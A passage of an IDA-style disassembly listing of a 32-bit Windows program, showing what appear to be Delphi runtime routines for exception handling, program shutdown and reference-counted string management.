loc_401FFE:				; CODE XREF: sub_401FF8+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_402012
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_40201B
		pop	ecx


loc_402012:				; CODE XREF: sub_401FF8+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_401FFC
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40201B:				; CODE XREF: sub_401FF8+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_401FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402028	proc near		; CODE XREF: sub_401FD4+Ep
		jmp	short loc_40202C
; ---------------------------------------------------------------------------


loc_40202A:				; CODE XREF: sub_402028+Dj
		mov	eax, [eax]


loc_40202C:				; CODE XREF: sub_402028j
		cmp	eax, edx
		jz	short loc_402038
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_40202A
		retn
; ---------------------------------------------------------------------------


loc_402038:				; CODE XREF: sub_402028+6j
		mov	al, 1
		retn
sub_402028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40203C	proc near		; DATA XREF: CODE:00401038o
					; CODE:00403A04o ...
		mov	eax, 8000FFFFh
		retn
sub_40203C	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402050	proc near		; DATA XREF: CODE:00401044o
					; CODE:00403A10o ...
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_402070
		cmp	si, 0C000h
		jnb	short loc_402070
		push	eax
		mov	eax, [eax]
		call	sub_401FF8
		pop	eax
		jz	short loc_402070
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------


loc_402070:				; CODE XREF: sub_402050+7j
					; sub_402050+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_402050	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402078	proc near		; CODE XREF: sub_4058E8+Ap
					; sub_405924+Fp ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_402082
		call	dword ptr [eax-0Ch]


loc_402082:				; CODE XREF: sub_402078+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_4020A1
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_402078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A1	proc near		; DATA XREF: sub_402078+18o
		jmp	sub_4021A4
sub_4020A1	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_4020BF
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_4020C8


loc_4020BF:				; CODE XREF: CODE:004020AFj
		call	sub_402330
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4020C8	proc near		; CODE XREF: sub_401F40+9p
					; CODE:004020BAp
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_4020C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4020D0	proc near		; CODE XREF: sub_4058E8+25p
					; sub_405924+67p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, ebx
		pop	ebx
		retn
sub_4020D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4020E0	proc near		; CODE XREF: sub_401F40p
		test	dl, dl
		jg	short loc_4020E5
		retn
; ---------------------------------------------------------------------------


loc_4020E5:				; CODE XREF: sub_4020E0+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_4020E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4020F0	proc near		; CODE XREF: sub_402330+35p
		cmp	ds:byte_409014,	1
		jbe	short locret_40210A
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_40A014

locret_40210A:				; CODE XREF: sub_4020F0+7j
		retn
sub_4020F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40210C	proc near		; CODE XREF: sub_4021A4+4Dp
		cmp	ds:byte_409014,	0
		jz	short locret_40212C
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_40A014
		add	esp, 8
		pop	eax

locret_40212C:				; CODE XREF: sub_40210C+7j
		retn
sub_40210C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402148


loc_402130:				; CODE XREF: sub_402148+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_40A014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_402148
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402148	proc near		; CODE XREF: sub_4021A4+FDp

; FUNCTION CHUNK AT 00402130 SIZE 00000015 BYTES

		cmp	ds:byte_409014,	1
		jbe	short locret_402158
		push	eax
		push	ebx
		jmp	loc_402130
; ---------------------------------------------------------------------------

locret_402158:				; CODE XREF: sub_402148+7j
		retn
sub_402148	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40215C	proc near		; CODE XREF: sub_40217C+Cp
		test	ecx, ecx
		jz	short locret_402179
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_402174
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_402179
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_402177
; ---------------------------------------------------------------------------


loc_402174:				; CODE XREF: sub_40215C+Aj
		add	ecx, 5


loc_402177:				; CODE XREF: sub_40215C+16j
		add	ecx, eax

locret_402179:				; CODE XREF: sub_40215C+2j
					; sub_40215C+Fj
		retn
sub_40215C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40217C	proc near		; CODE XREF: sub_4021A4+151p
		cmp	ds:byte_409014,	1
		jbe	short locret_4021A2
		push	eax
		push	edx
		push	ecx
		call	sub_40215C
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_40A014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_4021A2:				; CODE XREF: sub_40217C+7j
		retn
sub_40217C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4021A4	proc near		; CODE XREF: sub_4020A1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 004022D0 SIZE 00000036 BYTES

		mov	eax, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_4022C8
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_402231
		cld
		call	sub_401EE8
		mov	edx, ds:off_40A010
		test	edx, edx
		jz	loc_4022C8
		call	edx ; sub_405EC8
		test	eax, eax
		jz	loc_4022C8
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_402228
		call	sub_40210C
		cmp	ds:byte_409018,	0
		jbe	short loc_402228
		cmp	ds:byte_409014,	0
		ja	short loc_402228
		lea	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401110	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_4022C8
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402258
; ---------------------------------------------------------------------------


loc_402228:				; CODE XREF: sub_4021A4+4Bj
					; sub_4021A4+59j ...
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]


loc_402231:				; CODE XREF: sub_4021A4+1Dj
		cmp	ds:byte_409018,	1
		jbe	short loc_402258
		cmp	ds:byte_409014,	0
		ja	short loc_402258
		push	eax
		lea	eax, [esp+4+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_401110	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_4022C8


loc_402258:				; CODE XREF: sub_4021A4+82j
					; sub_4021A4+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_4]
		push	0
		push	eax
		push	offset loc_40227C
		push	edx
		call	ds:off_40A018


loc_40227C:				; DATA XREF: sub_4021A4+CCo
		mov	edi, [esp+arg_24]
		call	sub_4034D8
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_4022A8
		add	ebx, 5
		call	sub_402148
		jmp	ebx
; ---------------------------------------------------------------------------


loc_4022A8:				; DATA XREF: sub_4021A4+F3o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		call	sub_4034D8
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_401F50
; ---------------------------------------------------------------------------


loc_4022C8:				; CODE XREF: sub_4021A4+Bj
					; sub_4021A4+2Dj ...
		mov	eax, 1
		retn
sub_4021A4	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4021A4


loc_4022D0:				; CODE XREF: sub_4021A4:loc_4022A8j
					; sub_4030F8:loc_4031FDj ...
		mov	eax, [esp+arg_0]
		mov	edx, [esp+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_402300
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_402300
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_40217C
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_402300:				; CODE XREF: sub_4021A4+13Bj
					; DATA XREF: sub_4021A4+140o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_4021A4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402308	proc near		; CODE XREF: sub_4043CC+19p
					; sub_405B20+4Bj ...
		or	eax, eax
		jnz	short loc_402316
		mov	eax, 0D8h
		call	sub_4025BC
; ---------------------------------------------------------------------------


loc_402316:				; CODE XREF: sub_402308+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:off_40A014
sub_402308	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402330	proc near		; CODE XREF: CODE:loc_4020BFp

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_40237B
		call	sub_4034D8
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_40236A
		mov	eax, [edx+8]
		call	sub_401F50
		call	sub_4020F0


loc_40236A:				; CODE XREF: sub_402330+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_40237B:				; DATA XREF: sub_402330+4o
		mov	eax, 1
		retn
sub_402330	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402384	proc near		; CODE XREF: sub_4024E0:loc_40252Ep
					; DATA XREF: DATA:off_409038o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_40A5AC
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_4023B2
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_4023B2


loc_40239E:				; CODE XREF: sub_402384+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_4023AE
		mov	ebp, eax
		call	ebp


loc_4023AE:				; CODE XREF: sub_402384+24j
		test	ebx, ebx
		jg	short loc_40239E


loc_4023B2:				; CODE XREF: sub_402384+Ej
					; sub_402384+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402384	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4023B8	proc near		; CODE XREF: sub_4023B8+43p
					; sub_40240C+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_4023B8
		cmp	eax, ds:off_409034
		setz	bl
		cmp	edi, ebp
		jle	short loc_402407


loc_4023D4:				; CODE XREF: sub_4023B8+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_40A5B8, ebp
		test	eax, eax
		jz	short loc_4023E4
		call	eax


loc_4023E4:				; CODE XREF: sub_4023B8+28j
		test	bl, bl
		jz	short loc_402403
		mov	eax, offset sub_4023B8
		cmp	eax, ds:off_409034
		jz	short loc_402403
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_409034
		jmp	short loc_402407
; ---------------------------------------------------------------------------


loc_402403:				; CODE XREF: sub_4023B8+2Ej
					; sub_4023B8+3Bj
		cmp	edi, ebp
		jg	short loc_4023D4


loc_402407:				; CODE XREF: sub_4023B8+1Aj
					; sub_4023B8+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4023B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40240C	proc near		; CODE XREF: sub_402428+35p
		mov	eax, ds:off_40A5B4
		test	eax, eax
		jz	short locret_402424
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_409034

locret_402424:				; CODE XREF: sub_40240C+7j
		retn
sub_40240C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402428	proc near		; CODE XREF: sub_403524+3Ap
		mov	ds:off_40A014, offset sub_4010E8
		mov	ds:off_40A018, offset sub_4010F8
		mov	ds:off_40A5B4, eax
		xor	eax, eax
		mov	ds:dword_40A5B8, eax
		mov	ds:off_40A5BC, edx
		mov	eax, [edx+4]
		mov	ds:dword_40A02C, eax
		mov	ds:byte_40A034,	0
		call	sub_40240C
		retn
sub_402428	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402464	proc near		; CODE XREF: sub_406D18+1Fp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_402470:				; CODE XREF: sub_402464+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_4033B0
		add	esi, 8
		dec	edi
		jnz	short loc_402470
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402464	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40248C	proc near		; CODE XREF: sub_406D18+29p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_402498:				; CODE XREF: sub_40248C+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_402498
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40248C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024B0	proc near		; CODE XREF: sub_4024E0+96p
		xor	eax, eax
		xchg	eax, ds:dword_409000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_40A5AC
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4024B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4024E0	proc near		; CODE XREF: sub_4025B0+5p
					; CODE:00407FDCp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_40A5AC
		mov	esi, offset dword_409000
		mov	edi, offset dword_40A038
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_40250F
		cmp	dword ptr [edi], 0
		jz	short loc_40250F


loc_4024FE:				; CODE XREF: sub_4024E0+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_4024FE


loc_40250F:				; CODE XREF: sub_4024E0+17j
					; sub_4024E0+1Cj
		cmp	ds:dword_409004, 0
		jz	short loc_40251E
		call	ds:off_409090


loc_40251E:				; CODE XREF: sub_4024E0+36j
					; sub_4024E0+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_40252E
		cmp	dword ptr [esi], 0
		jnz	short loc_40252E
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_40252E:				; CODE XREF: sub_4024E0+42j
					; sub_4024E0+47j
		call	ds:off_409038
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_40253F
		cmp	dword ptr [esi], 0
		jz	short loc_402561


loc_40253F:				; CODE XREF: sub_4024E0+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_402561
		call	ds:off_409028
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_402561
		test	eax, eax
		jz	short loc_402561
		push	eax
		call	sub_401080	; FreeLibrary


loc_402561:				; CODE XREF: sub_4024E0+5Dj
					; sub_4024E0+64j ...
		call	ds:off_40903C
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_402570
		call	dword ptr [ebx+24h]


loc_402570:				; CODE XREF: sub_4024E0+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_40257B
		call	sub_4024B0


loc_40257B:				; CODE XREF: sub_4024E0+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_402597
		cmp	ds:dword_40A024, 0
		jz	short loc_40258F
		call	ds:dword_40A024


loc_40258F:				; CODE XREF: sub_4024E0+A7j
		mov	eax, [esi]
		push	eax
		call	sub_401128	; ExitProcess


loc_402597:				; CODE XREF: sub_4024E0+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_40251E
sub_4024E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4025B0	proc near		; CODE XREF: sub_401280+6p
					; sub_4025BC+6j ...
		mov	ds:dword_409000, eax
		call	sub_4024E0
sub_4025B0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4025BC	proc near		; CODE XREF: sub_402308+9p
					; sub_403494+1Ap ...
		pop	ds:dword_409004
		jmp	sub_4025B0
sub_4025BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4025C8	proc near		; CODE XREF: sub_40148C+Fp
					; sub_4026B4+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4025E9
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4025E9
		dec	dword ptr [edx-8]
		jnz	short locret_4025E9
		push	eax
		lea	eax, [edx-8]
		call	sub_401218
		pop	eax

locret_4025E9:				; CODE XREF: sub_4025C8+4j
					; sub_4025C8+10j ...
		retn
sub_4025C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4025EC	proc near		; CODE XREF: sub_402C70+56p
					; sub_4051EC+10Dp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_4025F2:				; CODE XREF: sub_4025EC+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_402611
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_402611
		dec	dword ptr [edx-8]
		jnz	short loc_402611
		lea	eax, [edx-8]
		call	sub_401218


loc_402611:				; CODE XREF: sub_4025EC+Aj
					; sub_4025EC+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_4025F2
		pop	esi
		pop	ebx
		retn
sub_4025EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40261C	proc near		; CODE XREF: sub_402848+8j
					; sub_40288C+6j ...
		test	edx, edx
		jz	short loc_402643
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_402640
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_402688
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_401340
		pop	edx
		pop	eax
		jmp	short loc_402643
; ---------------------------------------------------------------------------


loc_402640:				; CODE XREF: sub_40261C+8j
		inc	dword ptr [edx-8]


loc_402643:				; CODE XREF: sub_40261C+2j
					; sub_40261C+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40265C
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40265C
		dec	dword ptr [edx-8]
		jnz	short locret_40265C
		lea	eax, [edx-8]
		call	sub_401218

locret_40265C:				; CODE XREF: sub_40261C+2Bj
					; sub_40261C+31j ...
		retn
sub_40261C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402660	proc near		; CODE XREF: sub_405B74+2Ep
					; sub_4064C4+1EDp ...
		test	edx, edx
		jz	short loc_40266D
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_40266D
		inc	dword ptr [edx-8]


loc_40266D:				; CODE XREF: sub_402660+2j
					; sub_402660+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_402686
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_402686
		dec	dword ptr [edx-8]
		jnz	short locret_402686
		lea	eax, [edx-8]
		call	sub_401218

locret_402686:				; CODE XREF: sub_402660+11j
					; sub_402660+17j ...
		retn
sub_402660	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402688	proc near		; CODE XREF: sub_40261C+Fp
					; sub_4026B4+Bp ...
		test	eax, eax
		jle	short loc_4026B0
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_401200
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_4026B0:				; CODE XREF: sub_402688+2j
		xor	eax, eax
		retn
sub_402688	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4026B4	proc near		; CODE XREF: sub_40148C+2Fp
					; CODE:0040274Ep ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_402688
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_4026D5
		mov	edx, eax
		mov	eax, esi
		call	sub_401340


loc_4026D5:				; CODE XREF: sub_4026B4+16j
		mov	eax, ebx
		call	sub_4025C8
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4026B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026E4	proc near		; CODE XREF: CODE:0040273Bp
					; CODE:0040276Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		push	0
		call	sub_401198	; WideCharToMultiByte
		pop	ebp
		retn	4
sub_4026E4	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402700:				; CODE XREF: CODE:loc_4027FFj
					; CODE:loc_402837j
		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_402722
		mov	eax, edi
		call	sub_4025C8
		jmp	short loc_402781
; ---------------------------------------------------------------------------


loc_402722:				; CODE XREF: CODE:00402717j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_402755
		push	esi
		lea	eax, [esp+8]
		mov	ecx, [esp+4]
		mov	edx, 0FFFh
		call	sub_4026E4
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_402755
		lea	edx, [esp+4]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_4026B4
		jmp	short loc_402781
; ---------------------------------------------------------------------------


loc_402755:				; CODE XREF: CODE:0040272Bj
					; CODE:00402744j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_402BC0
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+4]
		mov	edx, ebx
		call	sub_4026E4
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_402778
		xor	ebx, ebx


loc_402778:				; CODE XREF: CODE:00402774j
		mov	eax, edi
		mov	edx, ebx
		call	sub_402BC0


loc_402781:				; CODE XREF: CODE:00402720j
					; CODE:00402753j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40278C	proc near		; CODE XREF: sub_405474+8Dp
					; sub_405474+190p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_4026B4
		pop	edx
		retn
sub_40278C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40279C	proc near		; CODE XREF: sub_4033B0+48p
					; sub_405310+28p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4027C3
		push	edx


loc_4027A3:				; CODE XREF: sub_40279C+1Dj
		cmp	cl, [edx]
		jz	short loc_4027BE
		cmp	cl, [edx+1]
		jz	short loc_4027BD
		cmp	cl, [edx+2]
		jz	short loc_4027BC
		cmp	cl, [edx+3]
		jz	short loc_4027BB
		add	edx, 4
		jmp	short loc_4027A3
; ---------------------------------------------------------------------------


loc_4027BB:				; CODE XREF: sub_40279C+18j
		inc	edx


loc_4027BC:				; CODE XREF: sub_40279C+13j
		inc	edx


loc_4027BD:				; CODE XREF: sub_40279C+Ej
		inc	edx


loc_4027BE:				; CODE XREF: sub_40279C+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_4027C3:				; CODE XREF: sub_40279C+4j
		jmp	sub_4026B4
sub_40279C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4027CC:				; DATA XREF: sub_4047F6:loc_4049C6o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4027FF
		push	edx


loc_4027D3:				; CODE XREF: CODE:004027EDj
		cmp	cx, [edx]
		jz	short loc_4027F8
		cmp	cx, [edx+2]
		jz	short loc_4027F5
		cmp	cx, [edx+4]
		jz	short loc_4027F2
		cmp	cx, [edx+6]
		jz	short loc_4027EF
		add	edx, 8
		jmp	short loc_4027D3
; ---------------------------------------------------------------------------


loc_4027EF:				; CODE XREF: CODE:004027E8j
		add	edx, 2


loc_4027F2:				; CODE XREF: CODE:004027E2j
		add	edx, 2


loc_4027F5:				; CODE XREF: CODE:004027DCj
		add	edx, 2


loc_4027F8:				; CODE XREF: CODE:004027D6j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_4027FF:				; CODE XREF: CODE:004027D0j
		jmp	loc_402700
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402808	proc near		; CODE XREF: sub_407720+28p
		xor	ecx, ecx
